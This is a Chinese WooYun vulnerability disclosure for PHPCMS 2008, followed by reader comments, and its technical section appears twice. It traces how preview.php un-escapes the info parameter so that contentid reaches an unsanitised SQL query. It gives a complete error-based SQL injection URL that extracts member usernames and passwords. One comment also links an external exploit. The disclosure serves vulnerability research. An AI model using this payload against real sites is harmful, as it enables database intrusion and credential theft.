当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(33) 关注此漏洞

缺陷编号: WooYun-2013-22112

漏洞标题: PHPCMS 2008 最新漏洞(第二季)

相关厂商: phpcms

漏洞作者: 西毒

提交时间: 2013-04-18 22:40

公开时间: 2013-04-23 22:40

漏洞类型: SQL注射漏洞

危害等级: 低

自评Rank: 1

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-18: 细节已通知厂商并且等待厂商处理中
2013-04-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

第二季来了哈...亲

详细说明:

在preview.php 中第7行

$r = new_stripslashes($info);

我们跟踪new_stripslashes这个函数

在global.func.php中可以找到

code 区域
function new_stripslashes($string)
{
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}



这个函数的功能不用解释了吧

所以我们看具体应用点再哪?

code 区域
require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info); //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}

$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);

$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false) //这里必须还有这个[page]这个字符.....才能操作哈
{
require_once 'url.class.php';
$curl = new url();
$contents = array_filter(explode('[page]', $content));
$pagenumber = count($contents);
for($i=1; $i<=$pagenumber; $i++)
{
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
}



其中细节我就不说了...

我们看看这个$curl资源句柄中的show方法

code 区域
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);



code 区域
function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
{
global $PHPCMS;
if($catid == 0 || $time == 0 || $prefix == '')
{
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
if($r['isupgrade'] && !empty($r['url']))
{



所以结合前面的......我们x站了吧

www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a

WKN4OA]}U2]H{X8VG@G`KTM.jpg



最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500...

这么低的价格....我觉得宁愿拒绝好了..

漏洞证明:

在preview.php 中第7行

$r = new_stripslashes($info);

我们跟踪new_stripslashes这个函数

在global.func.php中可以找到

code 区域
function new_stripslashes($string)
{
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}



这个函数的功能不用解释了吧

所以我们看具体应用点再哪?

code 区域
require dirname(__FILE__).'/include/common.inc.php';
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
require_once CACHE_MODEL_PATH.'content_output.class.php';
require_once 'output.class.php';
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
$r = new_stripslashes($info); //反转义了.....关键
$C = cache_read('category_'.$r['catid'].'.php');
$out = new content_output();
$r['userid'] = $_userid;
$r['inputtime'] = TIME;
$data = $out->get($r);
extract($data);
$userid = $_username;
for($i=1;$i<10;$i++)
{
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
}

$array_images = $str_attachmentArray;
$images_number = 10;
$allow_priv = $allow_readpoint = 1;
$updatetime = date('Y-m-d H:i:s',TIME);

$page = max(intval($page), 1);
$pages = $titles = '';
if(strpos($content, '[page]') !== false) //这里必须还有这个[page]这个字符.....才能操作哈
{
require_once 'url.class.php';
$curl = new url();
$contents = array_filter(explode('[page]', $content));
$pagenumber = count($contents);
for($i=1; $i<=$pagenumber; $i++)
{
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
}



其中细节我就不说了...

我们看看这个$curl资源句柄中的show方法

code 区域
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);



code 区域
function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
{
global $PHPCMS;
if($catid == 0 || $time == 0 || $prefix == '')
{
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
if($r['isupgrade'] && !empty($r['url']))
{



所以结合前面的......我们x站了吧

www.xxxxx.com/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a

WKN4OA]}U2]H{X8VG@G`KTM.jpg



最后想说一句 360漏洞收购计划价格真心低...... 通杀版的getshell 才1500...

这么低的价格....我觉得宁愿拒绝好了..

修复方案:

版权声明:转载请注明来源 西毒@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-04-23 22:40

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
100%
0%
0%
0%

评价

  1. 2013-04-18 22:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    洞主是个有节操的人 俺们就不去360他们那嘛

  2. 2013-04-18 22:42 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)
    0

    又有大作可以学习了!

  3. 2013-04-18 22:49 | s3cur1ty ( 普通白帽子 | Rank:174 漏洞数:12 | s3cur1ty is s3cur1ty!)
    0

    这个必须顶,在这里谢谢兄弟帮忙,记得有消息通知我!

  4. 2013-04-18 22:52 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    @xsser 说的对,那价格实在是打击到我了

  5. 2013-04-18 22:52 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    @s3cur1ty 不会你是360的吧

  6. 2013-04-18 22:55 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @西毒 360的还顶你?

  7. 2013-04-18 22:57 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    @xsser 我擦....我看他的回复我还以为他是数字公司的....

  8. 2013-04-18 23:30 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)
    0

    等公开。

  9. 2013-04-18 23:32 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    @s3cur1ty 兄弟,终于知道你了....我还误认为是360的

  10. 2013-04-18 23:34 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
    0

    你们之间的关系好乱。。

  11. 2013-04-19 09:58 | 坏虾 ( 路人 | Rank:28 漏洞数:8 | From Internet,For Internet……BY:坏虾)
    0

    一群好基友。。

  12. 2013-04-19 14:11 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)
    0

    一群好欢乐的基友...

  13. 2013-04-23 06:02 | 邪少 ( 实习白帽子 | Rank:94 漏洞数:15 | 百里长苏)
    0

    亲。。啥时候能开放

  14. 2013-04-25 22:48 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)
    0

    通杀的GETSHELL乌云给10000,哈哈

  15. 2013-04-26 01:25 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    @wefgod 10000的话还算可以

  16. 2013-11-25 16:50 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)
    0

    送上exp 喜欢的拿去。 http://www.waitalone.cn/phpcms2008-preview-php-injection-exp.html

  17. 2013-12-20 16:00 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    0

    mark

登录后才能发表评论,请先 登录